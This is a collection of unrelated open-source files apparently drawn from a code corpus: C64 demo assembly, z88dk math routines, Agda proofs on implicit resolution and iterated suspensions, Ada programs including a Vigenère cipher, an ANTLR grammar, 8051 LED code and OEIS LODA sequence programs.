.byte 0
}
}
// An easing curve from 0x000 to 0x130
FLIPPER_EASING_CRUNCHED:
.modify B2() {
.pc = FLIPPER_EASING "FLIPPER_EASING"
.fillword $130, round($98+$98*cos(PI+PI*i/$130))
}
.segment DataPart1
// 1 if the raster line is a badline
.align $100
RASTER_BADLINES: .fill $130, 0
.segment DataPart2
// The Y-position (IRQ raster line) starting each bucket
BUCKET_YPOS: .byte $10, $48, $58, $72, $8e, $aa, $c0, $d0, $de
// The y-positions of the multiplexer sprites. (These are converted to multiplexer buckets)
PLEX_YPOS: .fill $20, 0
// The low byte of the x-positions of the multiplexer sprites
PLEX_XPOS: .fill $20, 0
// The MSB of the x-positions of the multiplexer sprites (0/1)
PLEX_XPOS_MSB: .fill $20, 0
// The sprite pointers for the multiplexed sprites
PLEX_PTR: .fill $20, 0
// Indexes of the plex-sprites sorted by sprite y-position. Each call to plexSort() will fix the sorting if changes to the Y-positions have ruined it.
PLEX_SORTED_IDX: .fill $20, 0
.segment InitPart2
SPRITES_CRUNCHED:
.modify B2() {
.pc = PART2_SPRITES "PART2_SPRITES"
.var p2_sprites = LoadPicture("spritefont.png", List().add($000000, $ffffff))
.for(var sy=0;sy<8;sy++) {
.for(var sx=0;sx<8;sx++) {
.for (var y=0;y<21; y++) {
.for (var c=0; c<3; c++) {
.byte p2_sprites.getSinglecolorByte(sx*3+c,sy*21+y)
}
}
.byte 0
}
}
}
LOGO_DATA_CRUNCHED:
.modify B2() {
.pc = LOGO_DATA "LOGO DATA"
#import "mcbitmap.asm"
.var mcBmmData2 = getMcBitmapData(LoadPicture("logo-bitmap-640.png"))
// Screen data
.for (var y=0; y<LOGO_HEIGHT; y++)
.for (var x=0; x<LOGO_WIDTH; x++)
.byte getMcScreenData(x, y, mcBmmData2)
// Color Data
.for (var y=0; y<LOGO_HEIGHT; y++)
.for (var x=0; x<LOGO_WIDTH; x++)
.byte getMcColorData(x, y, mcBmmData2)
// Bitmap Data (row by row)
.for (var y=0; y<LOGO_HEIGHT; y++)
.for (var i=0; i<8; i++)
.for (var x=0; x<LOGO_WIDTH; x++)
.byte getMcPixelData(x, y, i, mcBmmData2)
}
.segment DataPart2
// A sinus table with values [0;320]
.align $100
VSP_SINTABLE:
.fillword $100, round(160+160*sin(2*PI*i/256))
// The sequence of colors for the sprites
SPRITE_COLOR_SEQUENCE: .byte WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, WHITE, YELLOW, CYAN, GREEN, PURPLE, RED, BLUE, RED, PURPLE, GREEN, CYAN, YELLOW, WHITE, WHITE
.align $100
SCROLL_YSIN:
.fill $100, round(139+89.5*sin(toRadians(360*i/256)))
// The buckets containing sprites to show. 8 sprites in each bucket.
.align $100
BUCKET_SPRITES: .fill 2*8*9*8, 0
// Copy of the original buckets containing sprites to show. 8 sprites in each bucket. (Used for adding the plex_id_offset)
.align $100
ORIGINAL_BUCKET_SPRITES: .fill 2*8*9*8, 0
.align $100
XMOVEMENT:
//.lohifill $100, round(344-i*344/$100-86*sin(toRadians(360*i/$100)))
.lohifill $200, round(344-i*344/$100-129*sin(toRadians(360*i/$100)))
//.lohifill $100, round(344-i*344/$100-86*sin(toRadians(360*i/$80)))
//.lohifill $100, round(344-i*344/$100 -86*sin(toRadians(360*i/$100)) -43*sin(toRadians(360*i/$80)))
//.lohifill $100, 344-i*344/$100
// The scroll text
SCROLL_TEXT: .text @"* most people will remember 2020 for a long time. for us nerds, it was a chance to dig deep into our hobbies. but we do miss the demoparties, and drinking beers with you crazy people... it is the 30th birthday of camelot, and this virtual greeting card is our way of celebrating with all of you! credits * code: rex * music: linus * graphics: bizkid, snabel & vic * camelot sends love to \$ff abyss connection \$ff algotech \$ff ancients \$ff arsenic \$ff arise \$ff artline designs \$ff artstate \$ff atlantis \$ff bonzai \$ff booze design \$ff censor design \$ff cosine \$ff crest \$ff chorus \$ff dekadence \$ff delysid \$ff desire \$ff elysium \$ff excess \$ff extend \$ff faic \$ff f4cg \$ff fairlight \$ff fossil \$ff glance \$ff genesis project \$ff haujobb \$ff hitmen \$ff hoaxers \$ff hokuto force \$ff horizon \$ff illusion \$ff john dillermand \$ff laxity \$ff lepsi de \$ff lethargy \$ff mayday \$ff megastyle \$ff multistyle labs \$ff nah-kolor \$ff noice \$ff offence \$ff onslaught \$ff oxyron \$ff padua \$ff panda design \$ff panoramic designs \$ff performers \$ff plush \$ff pretzel logic \$ff prosonix \$ff proxima \$ff rabenauge \$ff radwar \$ff rebels \$ff resource \$ff samar \$ff scenesat \$ff shape \$ff siesta \$ff silicon ltd. \$ff singular \$ff software of sweden \$ff starion \$ff success \$ff svenonacid \$ff the dreams \$ff the solution \$ff triad \$ff tropyx \$ff trsi \$ff unicess \$ff up rough \$ff vision \$ff xenon \$ff xentax \$ff ... we hope to see you all again in 2021... "
.byte 0
.segment InitPart2
PLEX_ID_UPDATERS_CRUNCHED:
.modify B2() {
.pc = PLEX_ID_UPDATERS "PLEX_ID_UPDATERS"
// First generate a jump table
.for(var frame=0;frame<8;frame++)
.word updaters[frame].updater
// Generate the 8 unrolled updaters
updaters:
.for(var frame=0;frame<8;frame++) {
updater:
ldx #$1f
.for(var sprite=0; sprite<9*8; sprite++ ) {
lda ORIGINAL_BUCKET_SPRITES + frame*8*9*2 + sprite*2 +1
clc
adc plex_id_offset
sax BUCKET_SPRITES + frame*8*9*2 + sprite*2 +1
}
rts
}
}
.segment InitDemo
// SID tune
DEMO_MUSIC_CRUNCHED:
.modify B2() {
.pc = DEMO_MUSIC "MUSIC"
.const music = LoadSid("do-it-again-$AC00-$FA-8580.sid")
.fill music.size, music.getData(i)
}
|
libsrc/_DEVELOPMENT/l/sccz80/crt0/l_mul.asm | jpoikela/z88dk | 38 | 174076 | <reponame>jpoikela/z88dk
;
; Small C Z88 runtime library
;
; Multiply two 16 bit numbers hl=hl*de ((un)signed)
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_mult
EXTERN l_mulu_16_16x16
defc l_mult = l_mulu_16_16x16
|
src/Examples/PartialResolution.agda | metaborg/ts.agda | 4 | 16787 | open import Prelude hiding (id; Bool; _∷_; [])
module Examples.PartialResolution where
data TC : Set where
tc-int : TC
tc-bool : TC
_tc≟_ : (a b : TC) → Dec (a ≡ b)
tc-int tc≟ tc-int = yes refl
tc-int tc≟ tc-bool = no (λ ())
tc-bool tc≟ tc-int = no (λ ())
tc-bool tc≟ tc-bool = yes refl
open import Implicits.Syntax
open import Implicits.WellTyped
open import Implicits.Substitutions
open import Implicits.Syntax.Type.Unification
open import Implicits.Resolution.Infinite.Algorithm
open import Data.Maybe
open import Data.List
open import Category.Monad.Partiality
Bool : ∀ {n} → Type n
Bool = simpl (tc tc-bool)
Int : ∀ {n} → Type n
Int = simpl (tc tc-int)
module Ex₁ where
Δ : ICtx zero
Δ = Bool ∷ Int ∷ []
-- resolves directly using a value from the implicit context
r = run_for_steps (resolve Δ Int) 10
p : isNow r ≡ true
p = refl
module Ex₂ where
Δ : ICtx zero
Δ = Bool ∷ (Bool ⇒ Int) ∷ []
-- resolves using implicit application
r = run_for_steps (resolve Δ Int) 10
p : r resolved? ≡ true
p = refl
module Ex₃ where
Δ : ICtx zero
Δ = Bool ∷ (∀' (Bool ⇒ (simpl (tvar zero)))) ∷ []
-- resolves using polymorphic appliation + implicit application
r = run_for_steps (resolve Δ Int) 10
p : r resolved? ≡ true
p = refl
module Ex₄ where
Δ : ICtx zero
Δ = Bool ∷ (∀' ((simpl (tvar zero)) ⇒ Int)) ∷ []
r = run_for_steps (resolve Δ Int) 10
-- Maybe surprisingly this fails.
-- But we should note that unification on the codomain of the rule does not fix the domain to a
-- concrete type, such that it's instantiation is left ambiguous.
-- Like Oliveira we reject those rules, because they lead to ambiguous terms.
p : r failed? ≡ true
p = refl
module Ex₅ where
-- The following context would not resolved Int in Oliveira's deterministic calculus.
-- Demonstratint that partial resolution is more powerful for terminating contexts.
Δ : ICtx zero
Δ = (Bool ⇒ Int) ∷ Int ∷ []
r = run_for_steps (resolve Δ Int) 10
p : r resolved? ≡ true
p = refl
module Ex₆ where
Δ : ICtx zero
Δ = Bool ∷ (∀' (Bool ⇒ (simpl (tvar zero)))) ∷ []
-- resolves rule types
r = run_for_steps (resolve Δ (Bool ⇒ Int)) 10
p : r resolved? ≡ true
p = refl
module Ex₇ where
Δ : ICtx zero
Δ = Bool ∷ (∀' (Bool ⇒ (simpl (tvar zero)))) ∷ []
q : Type zero
q = (∀' (Bool ⇒ (simpl (tvar zero))))
-- Resolves polymorphic types.
-- Note that it doesn't resolve to the rule in the context directly.
-- Instead, it will apply r-tabs and r-iabs, to obtain resolve Δ' ⊢ᵣ (∀' (tvar zero))
r = run_for_steps (resolve Δ q) 10
p : r resolved? ≡ true
p = refl
module Ex₈ where
Δ : ICtx zero
Δ = Bool ∷ (∀' ((simpl (tvar zero)) ⇒ (simpl (tvar zero)))) ∷ []
-- infinite derivation exists: not decidable
r = run_for_steps (resolve Δ Int) 10
p : r resolved? ≡ false
p = refl
¬p : r failed? ≡ false
¬p = refl
module Ex₉ where
Δ : ICtx zero
Δ = (∀' ((Int ⇒ simpl (tvar zero)) ⇒ ((simpl (tvar zero)) ⇒ Int))) ∷ (Int ⇒ Bool) ∷ []
r = run_for_steps (resolve Δ (Bool ⇒ Int)) 10
p : r resolved? ≡ false
p = refl
¬p : r failed? ≡ true
¬p = refl
-- Below p' demonstrates however that a derivation exists!
-- The algorithm doesn't find it because we left the ⊢unamb predicate from oliveira implicit.
-- at some point the algorithm has to match ((simpl (mvar zero) ⇒ Int)) with Int.
-- However, when we match the codomain Int with the goal Int (note the open mvar):
test : mgu {m = suc zero} {ν = zero} (to-meta Int) (tc tc-int) ≡ nothing
test = refl
-- Because mgu requires that all meta variables are instantiated by unification
-- and in this example (mvar zero) does not occur and thus can't be unified.
open import Implicits.Resolution.Infinite.Resolution
open import Coinduction
p' : Δ ⊢ᵣ (Bool ⇒ Int)
p' = r-iabs
(r-simp
(there (here refl))
(i-tabs
(simpl (tc tc-bool))
(i-iabs
(♯ (r-iabs (r-simp (there (here refl)) (i-simp (tc tc-bool)))))
(i-iabs (♯ (r-simp (here refl) (i-simp (tc tc-bool)))) (i-simp (tc tc-int)))
)
)
)
|
libsrc/_DEVELOPMENT/math/float/math32/z80/h32_coeff_expf.asm | Frodevan/z88dk | 640 | 3040 | ;
; Extracted from cephes-math
;
; Cephes is a C language library for special functions of mathematical physics
; and related items of interest to scientists and engineers.
; https://fossies.org/
;
; Coefficients from lolremez, to make use of additional accuracy in
; calculation from 32-bit mantissa poly() function.
;
; Approximation of f(x) = exp(x)
; with weight function g(x) = exp(x)
; on interval [ -0.5, 0.5 ]
; with a polynomial of degree 9.
; float f(float x)
; {
; float u = 2.7401157e-6f;
; u = u * x + 2.4972405e-5f;
; u = u * x + 1.984268e-4f;
; u = u * x + 1.388852e-3f;
; u = u * x + 8.3333304e-3f;
; u = u * x + 4.166667e-2f;
; u = u * x + 1.6666667e-1f;
; u = u * x + 5.e-1f;
; u = u * x + 1.f;
; return u * x + 1.f;
; }
;
;-------------------------------------------------------------------------
; Coefficients for expf()
;-------------------------------------------------------------------------
SECTION rodata_fp_math32
PUBLIC _m32_coeff_expf
._m32_coeff_expf
DEFQ 0x3F800000 ; 1.0000000e+0
DEFQ 0x3F800000 ; 1.0000000e+0
DEFQ 0x3F000000 ; 5.0000000e-1
DEFQ 0x3E2AAAAB ; 1.6666667e-1
DEFQ 0x3D2AAAAB ; 4.1666667e-2
DEFQ 0x3C088889 ; 8.3333334e-3
DEFQ 0x3AB60B61 ; 1.3888889e-3
DEFQ 0x395010CA ; 1.9842680e-4
DEFQ 0x37D17BD5 ; 2.4972405e-5
DEFQ 0x3637E2D4 ; 2.7401157e-6
|
Task/Digital-root-Multiplicative-digital-root/Ada/digital-root-multiplicative-digital-root.ada | LaudateCorpus1/RosettaCodeData | 1 | 9006 | with Ada.Text_IO, Generic_Root; use Generic_Root;
procedure Multiplicative_Root is
procedure Compute is new Compute_Root("*"); -- "*" for multiplicative roots
package TIO renames Ada.Text_IO;
package NIO is new TIO.Integer_IO(Number);
procedure Print_Numbers(Target_Root: Number; How_Many: Natural) is
Current: Number := 0;
Root, Pers: Number;
begin
for I in 1 .. How_Many loop
loop
Compute(Current, Root, Pers);
exit when Root = Target_Root;
Current := Current + 1;
end loop;
NIO.Put(Current, Width => 6);
if I < How_Many then
TIO.Put(",");
end if;
Current := Current + 1;
end loop;
end Print_Numbers;
Inputs: Number_Array := (123321, 7739, 893, 899998);
Root, Pers: Number;
begin
TIO.Put_Line(" Number MDR MP");
for I in Inputs'Range loop
Compute(Inputs(I), Root, Pers);
NIO.Put(Inputs(I), Width => 8);
NIO.Put(Root, Width => 6);
NIO.Put(Pers, Width => 6);
TIO.New_Line;
end loop;
TIO.New_Line;
TIO.Put_Line(" MDR first_five_numbers_with_that_MDR");
for I in 0 .. 9 loop
TIO.Put(" " & Integer'Image(I) & " ");
Print_Numbers(Target_Root => Number(I), How_Many => 5);
TIO.New_Line;
end loop;
end Multiplicative_Root;
|
CSE250 Circuits and Electronics/LAB 3/1/Schematic1.als | iamraufu/BRACU | 12 | 4665 | <reponame>iamraufu/BRACU
* Schematics Aliases *
.ALIASES
R_R1 R1(1=$N_0002 2=$N_0001 )
R_R2 R2(1=$N_0001 2=$N_0003 )
R_R3 R3(1=$N_0003 2=0 )
V_V1 V1(+=$N_0002 -=0 )
.ENDALIASES
|
src/ImGui.NET.SampleProgram/youi.g4 | richardlalancetteyoui/ImGui.NET | 0 | 2409 | <reponame>richardlalancetteyoui/ImGui.NET<gh_stars>0
grammar youi;
statements
: statement+;
statement
: screen
| button
;
control_arguments
: IDENTIFIER?
;
screen
: '|' control_arguments '|' SEMI
;
button
: '[' control_arguments ']' SEMI
;
IDENTIFIER
: LETTER CHARACTER*
;
SEMI : ';';
WS : [\u0020\u0009\u000C]+ -> skip;
NEWLINE: '\n' -> skip;
fragment CHARACTER
: (LETTER | DIGIT)
;
fragment LETTER
: ('a' .. 'z' | 'A' .. 'Z' | '_' | '/' | '#' | '@' | '(' | ')')
;
fragment DIGIT
: '0' .. '9' | '-' | '+' | '.' | ','
; |
src/speedmodule.adb | Kurinkitos/Twizy-Security | 1 | 11267 | <reponame>Kurinkitos/Twizy-Security<gh_stars>1-10
package body speedModule
with SPARK_Mode
is
function speedtest(S : in Speed) return Boolean
is
begin
if (0.0 <= S and then S <= 5.0) then
return True;
else
return False;
end if;
end speedtest;
end;
|
core/lib/types/IteratedSuspension.agda | timjb/HoTT-Agda | 0 | 3173 | {-# OPTIONS --without-K --rewriting #-}
open import lib.Basics
open import lib.NConnected
open import lib.types.Bool
open import lib.types.Nat
open import lib.types.TLevel
open import lib.types.Suspension
module lib.types.IteratedSuspension where
⊙Susp^ : ∀ {i} (n : ℕ) → Ptd i → Ptd i
⊙Susp^ O X = X
⊙Susp^ (S n) X = ⊙Susp (⊙Susp^ n X)
abstract
⊙Susp^-conn : ∀ {i} (n : ℕ) {X : Ptd i} {m : ℕ₋₂}
{{_ : is-connected m (de⊙ X)}} → is-connected (⟨ n ⟩₋₂ +2+ m) (de⊙ (⊙Susp^ n X))
⊙Susp^-conn O = ⟨⟩
⊙Susp^-conn (S n) = Susp-conn (⊙Susp^-conn n)
⊙Susp^-conn' : ∀ {i} (n : ℕ) {X : Ptd i}
{{_ : is-connected 0 (de⊙ X)}} → is-connected ⟨ n ⟩ (de⊙ (⊙Susp^ n X))
⊙Susp^-conn' O = ⟨⟩
⊙Susp^-conn' (S n) = Susp-conn (⊙Susp^-conn' n)
⊙Susp^-+ : ∀ {i} (m n : ℕ) {X : Ptd i}
→ ⊙Susp^ m (⊙Susp^ n X) == ⊙Susp^ (m + n) X
⊙Susp^-+ O n = idp
⊙Susp^-+ (S m) n = ap ⊙Susp (⊙Susp^-+ m n)
⊙Susp^-fmap : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j}
→ X ⊙→ Y → ⊙Susp^ n X ⊙→ ⊙Susp^ n Y
⊙Susp^-fmap O f = f
⊙Susp^-fmap (S n) f = ⊙Susp-fmap (⊙Susp^-fmap n f)
⊙Susp^-fmap-idf : ∀ {i} (n : ℕ) (X : Ptd i)
→ ⊙Susp^-fmap n (⊙idf X) == ⊙idf (⊙Susp^ n X)
⊙Susp^-fmap-idf O X = idp
⊙Susp^-fmap-idf (S n) X =
ap ⊙Susp-fmap (⊙Susp^-fmap-idf n X) ∙ ⊙Susp-fmap-idf (⊙Susp^ n X)
⊙Susp^-fmap-cst : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j}
→ ⊙Susp^-fmap n (⊙cst {X = X} {Y = Y}) == ⊙cst
⊙Susp^-fmap-cst O = idp
⊙Susp^-fmap-cst (S n) = ap ⊙Susp-fmap (⊙Susp^-fmap-cst n)
∙ (⊙Susp-fmap-cst {X = ⊙Susp^ n _})
⊙Susp^-fmap-∘ : ∀ {i j k} (n : ℕ) {X : Ptd i} {Y : Ptd j} {Z : Ptd k}
(g : Y ⊙→ Z) (f : X ⊙→ Y)
→ ⊙Susp^-fmap n (g ⊙∘ f) == ⊙Susp^-fmap n g ⊙∘ ⊙Susp^-fmap n f
⊙Susp^-fmap-∘ O g f = idp
⊙Susp^-fmap-∘ (S n) g f =
ap ⊙Susp-fmap (⊙Susp^-fmap-∘ n g f)
∙ ⊙Susp-fmap-∘ (⊙Susp^-fmap n g) (⊙Susp^-fmap n f)
⊙Susp^-Susp-split-iso : ∀ {i} (n : ℕ) (X : Ptd i)
→ ⊙Susp^ (S n) X ⊙≃ ⊙Susp^ n (⊙Susp X)
⊙Susp^-Susp-split-iso O X = ⊙ide _
⊙Susp^-Susp-split-iso (S n) X = ⊙Susp-emap (⊙Susp^-Susp-split-iso n X)
⊙Sphere : (n : ℕ) → Ptd₀
⊙Sphere n = ⊙Susp^ n ⊙Bool
Sphere : (n : ℕ) → Type₀
Sphere n = de⊙ (⊙Sphere n)
abstract
instance
Sphere-conn : ∀ (n : ℕ) → is-connected ⟨ n ⟩₋₁ (Sphere n)
Sphere-conn 0 = inhab-conn true
Sphere-conn (S n) = Susp-conn (Sphere-conn n)
-- favonia: [S¹] has its own elim rules in Circle.agda.
⊙S⁰ = ⊙Sphere 0
⊙S¹ = ⊙Sphere 1
⊙S² = ⊙Sphere 2
⊙S³ = ⊙Sphere 3
S⁰ = Sphere 0
S¹ = Sphere 1
S² = Sphere 2
S³ = Sphere 3
|
eng_mecat_bkp/P2_led.asm | Mutanne/hiworld | 0 | 2644 | org 0Ah
leds EQU P3 ;porta com os leds
sw EQU P1 ;porta com as chaves
mov sw,#00h ;reseta a porta P1
;-----parte1----------------
sw1:
mov A,sw
cjne A,#01h,sw2
mov A,#0fh
sw1_1:
swap A
mov leds,A
mov R0,sw
cjne R0,#01h,sw2
sjmp sw1_1
;-----parte2----------------
sw2:
org 00h
db 0,80h,0C0h,0E0h,0F0h,0F8h,0FCh,0FEh,0FFh
org 1Fh
mov R0,#0h
acende:
mov A,sw
mov leds,@R0
cjne A,#02h,sw3
inc R0
cjne R0,#09h,acende
dec R0
apaga:
mov A,sw
mov leds,@R0
cjne A,#02h,sw3
djnz R0,apaga
jmp acende
;-----parte3----------------
sw3:
mov A,#55h
alt:
mov R0,sw
cjne R0,#04h,sw4
mov leds,A
rl A
mov leds,A
rr A
sjmp alt
;-----parte4----------------
sw4:
mov R0,sw
cjne R0,#05h,sw5
mov a,#80h
roda_dir:
mov R0,sw
cjne R0,#05h,sw5
mov leds,A
rr a
sjmp roda_dir
;-----parte5----------------
sw5:
mov R0,sw
cjne R0,#06h,sw1
mov a,#01h
roda_esq:
mov R0,sw
cjne R0,#06h,sw1
mov leds,A
rl a
sjmp roda_esq
|
src/newcontact.applescript | dblyth/ABMenu | 0 | 2469 | <filename>src/newcontact.applescript
-- newcontact.applescript
-- ABMenu3
-- Created by <NAME> on 6/28/08.
-- Copyright 2008 <NAME>. All rights reserved.
tell application "Address Book"
activate
set the_id to (get id of (make new person))
save addressbook
end tell
tell application "Finder"
set the_url to "addressbook://" & the_id & "?edit"
open location the_url
end tell |
programs/oeis/022/A022842.asm | karttu/loda | 0 | 175071 | ; A022842: Beatty sequence for sqrt(8).
; 2,5,8,11,14,16,19,22,25,28,31,33,36,39,42,45,48,50,53,56,59,62,65,67,70,73,76,79,82,84,87,90,93,96,98,101,104,107,110,113,115,118,121,124,127,130,132,135,138,141,144,147,149,152,155,158,161,164,166,169,172,175,178,181,183,186,189,192,195,197,200,203,206,209,212,214,217,220,223,226,229,231,234,237,240,243,246,248,251,254,257,260,263,265,268,271,274,277,280,282,285,288,291,294,296,299,302,305,308,311,313,316,319,322,325,328,330,333,336,339,342,345,347,350,353,356,359,362,364,367,370,373,376,379,381,384,387,390,393,395,398,401,404,407,410,412,415,418,421,424,427,429,432,435,438,441,444,446,449,452,455,458,461,463,466,469,472,475,478,480,483,486,489,492,494,497,500,503,506,509,511,514,517,520,523,526,528,531,534,537,540,543,545,548,551,554,557,560,562,565,568,571,574,576,579,582,585,588,591,593,596,599,602,605,608,610,613,616,619,622,625,627,630,633,636,639,642,644,647,650,653,656,659,661,664,667,670,673,675,678,681,684,687,690,692,695,698,701,704,707
add $0,1
mul $0,2
pow $0,2
mul $0,2
mov $1,11
lpb $0,1
sub $0,1
add $3,2
trn $0,$3
add $1,4
mov $2,5
lpe
add $1,$2
sub $1,24
div $1,4
add $1,2
|
programs/oeis/087/A087805.asm | neoneye/loda | 22 | 13842 | <gh_stars>10-100
; A087805: Partial sums of b(k) where {b(k)}_{k>=0} = limit n ->infty {A080578(k)-2k : k=2^n,2^n+1,2^n+2,......}.
; 0,1,3,4,6,9,11,12,14,17,19,22,26,29,31,32,34,37,39,42,46,49,51,54,58,61,65,70,74,77,79,80,82,85,87,90,94,97,99,102,106,109,113,118,122,125,127,130,134,137,141,146,150,153,157,162,166,171,177,182,186,189,191
mov $5,$0
mov $7,$0
lpb $5
mov $0,$7
sub $5,1
sub $0,$5
mov $2,$0
mov $6,4
lpb $2
mov $3,1
mov $4,$0
lpb $4
mov $0,0
mov $2,$4
mul $3,2
trn $4,$3
lpe
sub $2,1
add $0,$2
add $6,1
lpe
sub $6,4
add $1,$6
lpe
mov $0,$1
|
basic/src/constants.asm | paulscottrobson/eris | 13 | 19158 | <reponame>paulscottrobson/eris<filename>basic/src/constants.asm
; *****************************************************************************
; *****************************************************************************
;
; Name: constants.asm
; Purpose: Basic Constants
; Created: 3rd March 2020
; Reviewed: 16th March 2020
; Author: <NAME> (<EMAIL>)
;
; *****************************************************************************
; *****************************************************************************
;
; Memory allocate for CPU stack
;
cpuStackSize = 256
;
; Size of return stack for CALL, REPEAT etc.
;
returnStackSize = 256
;
; Size of local variable stack
;
localStackSize = 512
;
; Max size of string
;
maxStringSize = 255
;
; Extra space allocated concreting strings, so that they can be expanded in words
;
extraStringAlloc = 8
;
; Variable hash table size. hashTableSize = 2^hashTablePower
;
hashTableSize = 16
hashTablePower = 4
;
; Evaluation stack depth and size
;
stackSize = 32
stackElementSize = 3
;
; Offsets to evaluation stack elements on 1st and 2nd levels
;
esValue1 = 0
esType1 = 1
esReference1 = 2
esValue2 = 0+stackElementSize
esType2 = 1+stackElementSize
esReference2 = 2+stackElementSize
;
; Words required to store the stack position (line address, code address)
;
stackPosSize = 2
;
; Indent spaces per level when listing structures.
;
indentStep = 2
;
; Event timers
;
evtCount = 8 ; supported # event timers
evtRecSize = 4 ; words per record
;
evtCode = 0 ; BASIC code address (0 if timer not in use)
evtTime = 1 ; time when event fires
evtRate = 2 ; number of centiseconds between events.
evtRepeatCount = 3 ; repeat count, 0 = run indefinitely
;
; Colour schemes for listing
;
theme_line = 2 ; green lines
theme_keyword = 6 ; cyan keywords
theme_ident = 3 ; yellow identifiers
theme_const = 3 ; yellow integers
theme_string = 7 ; white strings
theme_punc = 2 ; green punctuation
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_InitCharStruct.asm | jpoikela/z88dk | 640 | 18026 | <reponame>jpoikela/z88dk
; void sp1_InitCharStruct(struct sp1_cs *cs, void *drawf, uchar type, void *graphic, uchar plane)
; CALLER linkage for function pointers
SECTION code_clib
SECTION code_temp_sp1
PUBLIC sp1_InitCharStruct
EXTERN asm_sp1_InitCharStruct
sp1_InitCharStruct:
pop ix
pop bc
ld a,c
ex af,af
pop bc
pop de
ld a,e
pop de
pop hl
push hl
push de
push de
push bc
push bc
push ix
jp asm_sp1_InitCharStruct
|
Task/Vigen-re-cipher/Ada/vigen-re-cipher.ada | LaudateCorpus1/RosettaCodeData | 1 | 24777 | <gh_stars>1-10
WITH Ada.Text_IO, Ada.Characters.Handling;
USE Ada.Text_IO, Ada.Characters.Handling;
PROCEDURE Main IS
SUBTYPE Alpha IS Character RANGE 'A' .. 'Z';
TYPE Ring IS MOD (Alpha'Range_length);
TYPE Seq IS ARRAY (Integer RANGE <>) OF Ring;
FUNCTION "+" (S, Key : Seq) RETURN Seq IS
R : Seq (S'Range);
BEGIN
FOR I IN R'Range LOOP
R (I) := S (I) + Key (Key'First + (I - R'First) MOD Key'Length);
END LOOP;
RETURN R;
END "+";
FUNCTION "-" (S : Seq) RETURN Seq IS
R : Seq (S'Range);
BEGIN
FOR I IN R'Range LOOP
R (I) := - S (I);
END LOOP;
RETURN R;
END "-";
FUNCTION To_Seq (S : String) RETURN Seq IS
R : Seq (S'Range);
I : Integer := R'First;
BEGIN
FOR C OF To_Upper (S) LOOP
IF C IN Alpha THEN
R (I) := Ring'Mod (Alpha'Pos (C) - Alpha'Pos (Alpha'First));
I := I + 1;
END IF;
END LOOP;
RETURN R (R'First .. I - 1);
END To_Seq;
FUNCTION To_String (S : Seq ) RETURN String IS
R : String (S'Range);
BEGIN
FOR I IN R'Range LOOP
R (I) := Alpha'Val ( Integer (S (I)) + Alpha'Pos (Alpha'First));
END LOOP;
RETURN R;
END To_String;
Input : Seq := To_Seq (Get_Line);
Key : Seq := To_Seq (Get_Line);
Crypt : Seq := Input + Key;
BEGIN
Put_Line ("Encrypted: " & To_String (Crypt));
Put_Line ("Decrypted: " & To_String (Crypt + (-Key)));
END Main;
|
programs/oeis/013/A013636.asm | jmorken/loda | 1 | 241875 | ; A013636: n*nextprime(n).
; 0,2,6,15,20,35,42,77,88,99,110,143,156,221,238,255,272,323,342,437,460,483,506,667,696,725,754,783,812,899,930,1147,1184,1221,1258,1295,1332,1517,1558,1599,1640,1763
mov $2,$0
cal $0,151800 ; Least prime > n (version 2 of the "next prime" function).
mov $1,$2
mov $2,$0
mul $2,$1
mul $1,$0
add $1,$2
div $1,2
|
oeis/207/A207009.asm | neoneye/loda-programs | 11 | 3960 | ; A207009: Number of n X 2 0..2 arrays avoiding the patterns z z+1 z or z z-1 z in any row or column.
; Submitted by <NAME>
; 9,81,529,3721,25921,180625,1256641,8743849,60855601,423577561,2948164209,20519130025,142812189025,993971114361,6918041467089,48149568342121,335120802753025,2332439189580889,16233767034063601,112986956712855625,786388787272351201,5473262893635319225,38093888267863573201,265133313244255005225,1845326824622966130625,12843467493346370987929,89390483580491087769009,622157416455723400175625,4330213187715856172269729,30138266868792344667275641,209762219660686307017150609,1459944229320547629735435241
seq $0,207008 ; Number of n X 1 0..2 arrays avoiding the patterns z z+1 z or z z-1 z in any row or column.
pow $0,2
|
ga_lib/src/geosphere.ads | rogermc2/GA_Ada | 3 | 6305 |
with Ada.Containers.Vectors;
with GL.Objects.Programs;
with GL.Types;
with GA_Maths;
with Multivectors;
package Geosphere is
-- some very ancient code to compute a triangulated sphere
use Multivectors;
type Geosphere is private;
type Indices is array (1 .. 3) of integer;
Geosphere_Exception : Exception;
procedure Add_To_Sphere_List (Sphere : Geosphere);
procedure Draw_Sphere_List (Render_Program : GL.Objects.Programs.Program;
Normal : GL.Types.Single := 0.0);
procedure GS_Compute (Sphere : in out Geosphere; Depth : integer);
procedure GS_Draw (Render_Program : GL.Objects.Programs.Program;
Sphere : Geosphere; Normal : GL.Types.Single := 0.0);
procedure New_Sphere_List (Sphere : Geosphere);
private
subtype Int3_Range is Integer range 1 .. 3;
subtype Int4_Range is Integer range 1 .. 4;
subtype Contour_Intersect_Array is GA_Maths.Integer_Array (Int3_Range);
subtype Contour_Visited_Array is GA_Maths.Integer_Array (Int3_Range);
subtype Neighbour_Array is GA_Maths.Integer_Array (Int3_Range);
subtype Indices_Vector is GA_Maths.Integer_Array (Int3_Range);
type Child_Array is array (Int4_Range) of Integer;
type Geosphere_Face is record
Indices : Indices_Vector := (-1, -1, -1); -- Three indices into Vertices vector
Child : Child_Array := (-1, -1, -1, -1);
Plane : Multivectors.Bivector;
D : float := 0.0;
Depth : integer := 0;
Neighbour : Neighbour_Array := (-1, -1, -1);
Contour_Intersect : Contour_Intersect_Array := (-1, -1, -1);
Contour_Visited : Contour_Visited_Array := (-1, -1, -1);
end record;
package Vertex_Vectors is new Ada.Containers.Vectors
(Element_Type => Multivectors.M_Vector, Index_Type => Natural);
type MV_Vector is new Vertex_Vectors.Vector with null record;
package Face_Vectors is new Ada.Containers.Vectors
(Element_Type => Geosphere_Face, Index_Type => Positive);
type F_Vector is new Face_Vectors.Vector with null record;
type Geosphere is record
Depth : integer := 0;
Vertices : MV_Vector;
Faces : F_Vector;
end record;
end Geosphere;
|
